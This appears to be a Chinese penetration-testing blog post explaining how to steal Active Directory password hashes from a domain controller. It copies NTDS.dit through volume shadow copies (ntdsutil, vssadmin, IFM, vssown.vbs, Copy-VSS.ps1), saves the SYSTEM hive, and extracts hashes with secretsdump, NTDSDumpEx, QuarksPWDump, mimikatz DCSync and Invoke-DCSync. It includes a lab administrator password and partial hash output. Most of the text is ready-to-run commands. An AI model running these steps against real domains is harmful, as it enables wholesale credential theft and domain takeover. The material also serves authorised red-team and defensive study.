点我

NTDS概述

NTDS.DIT为DC的数据库,存放着有域用户、域组、用户hash值等信息。域控上面的NTDS.DIT只有登录到域控的用户(例如:域管用户、DC本地管理员用户)可以访问,为了进一步保护密码hash值,使用存储在SYSTEM注册表配置单元中的密钥对这些hash值进行了加密。

位置:C:\Windows\NTDS

如果要读取该文件的内容有以下几种方式
  • 离线读取,将NTDS文件复制到攻击者的计算机,然后再使用工具进行读取
  • 在线读取,通过给域控电脑传送可以读取NTDS文件的工具
  • 远程读取,不需要上线域控,可以通过Dcsync远程读取

卷影拷贝概述

从Windows XP SP2和Windows server 2003开始,微软就向Windows操作系统中引入了一项名为卷影拷贝服务(volume shadow copy service,VSS),该服务允许Windows系统以自动或者手动的方式对文件或者磁盘卷宗的当前状态进行备份(或者快照)。

需要注意的是在这个过程中,即使文件处于打开状态,该服务仍然可以对文件进行备份。

ntds.dit是默认被Windows系统锁定的,想要读取该文件就要利用卷影拷贝服务(volume shadow copy service,VSS)得到ntds.dit文件的副本。

卷影拷贝服务(VSS)本质属于快照技术的一种,主要用于备份和恢复,即使目标文件处于锁定状态。

卷影拷贝-ntdsutil工具拷贝

概述

ntdsutil.exe是一个为活动目录提供管理机制的命令行工具,该工具默认安装在域控服务器上,可以在域控制器上直接操作,2003、2008、2012、2016等,提取NTDS过程分为3步。

操作

1、在目标机创建一个NTDS快照

ntdsutil.exe snapshot "activate instance ntds" create q Local Destination

记住快照ID:d474d03c-5c9c-4c61-9102-98a67a57a894

2、加载快照到磁盘中

ntdsutil.exe snapshot "mount {d474d03c-5c9c-4c61-9102-98a67a57a894}" q q

加载成功之后,在C盘就会出现加载成功图标

3、复制快照中的ntds.dit文件

copy '快照地址\Windows\NTDS\ntds.dit' 目标路径

4、拷贝成功后,删除快照

ntdsutil.exe snapshot "umount {d474d03c-5c9c-4c61-9102-98a67a57a894}" "delete {d474d03c-5c9c-4c61-9102-98a67a57a894}" q q

卷影拷贝-vssadmin工具拷贝

概述

vssadmin为Windows server 2008及Windows7系统以上提供的VSS管理工具,可以用于创建或者删除卷影副本、列出卷影副本的信息。

操作

1、创建C盘快照

vssadmin create shadow /for=c:

2、将快照中的NTDS文件进行复

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit

3、删除快照

vssadmin delete shadows /for=c: /quiet

卷影拷贝-IFM方式拷贝

概述

可以通过创建一个IFM的方式获取ntds.dit,在使用ntdsutil工具创建媒体安装集(IFM)时,需要进行生成快照、加载,将ntds.dit和计算机的SAM文件复制到目标文件夹中等操作。

操作

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

此时 ntds.dit 将被保存在 C:\test\Active Directory 下,SYSTEN 和 SECURITY 两个文件将被保存在 C:\test\registry 文件夹下

卷影拷贝-脚本工具拷贝

vssown.vbs

vssown.vbs可以创建和删除卷影副本

1、启动卷影复制服务

cscript vssown.vbs /start

2、创建C盘卷影副本

cscript vssown.vbs /create c

3、列出当前卷影副本

cscript vssown.vbs /list

4、复制ntds.dit文件

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit

5、删除卷影副本

cscript vssown.vbs /delete {9767eab0-48b2-11ee-80b0-806e6f6e6963}

Copy-VSS.ps1

可以直接导出

PS C:\Users\Administrator> cd .\Desktop
PS C:\Users\Administrator\Desktop> Import-Module .\Copy-VSS.ps1
PS C:\Users\Administrator\Desktop> Copy-VSS

离线读取NTDS文件中的HASH值

离线读取一般需要两步:

  1. 将远端域控的ntds.dit下载到本地
  2. 本地利用工具进行读取

注意:system.hive里存放着ntds.dit的密钥,所以转储system.hive,不然没法查看ntds.dit里面内容

命令为reg save hklm\system C:\Users\Administrator\Desktop\system.hive

secretsdump.exe工具

命令:

secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

NTDSDumpEx.exe工具

命令

NTDSDumpEx.exe -d ntds.dit -s system -o res.txt

在线读取NTDS文件中的HASH值

在线读取直接读取ntds文件内容,无需拷贝在本地

Mimikatz工具

读取所有用户的hash值

lsadump::dcsync /domain:xbxaq.com /all /csv

读取单个用户

lsadump::dcsync /domain:xbxaq.com /user:administrator

QuarksPWDump工具

Quarks PW Dump.exe --dump-hash-domain --ntds-file ntds.dit

注意:先将ntds.dit文件先导出来

secretsdump工具

secretsdump.exe 域名/administrator:密码@IP
secretsdump.exe xbxaq/administrator:a1b2c3123..@192.168.110.10

Invoke-DCSync.ps1工具

在powershell中导入该脚本

PS C:\Users\Administrator> cd .\Desktop
PS C:\Users\Administrator\Desktop> Import-Module .\Invoke-DCSync.ps1
PS C:\Users\Administrator\Desktop> Invoke-DCSync

Domain                        User                          ID                            Hash
------                        ----                          --                            ----
xbxaq.com                     krbtgt                        502                           607283a6b62ecae1081cb82829...

xbxaq.com                     Administrator                 500                           1b0e539ee1e837a7a63d2be0a6...

xbxaq.com                     zhangsan                      1104                          b6fedcbb1ab4f59dd213d03eb9...

xbxaq.com                     ls                            1106                          b6fedcbb1ab4f59dd213d03eb9...

分类: 内网渗透

评论

-- 评论已关闭 --

目录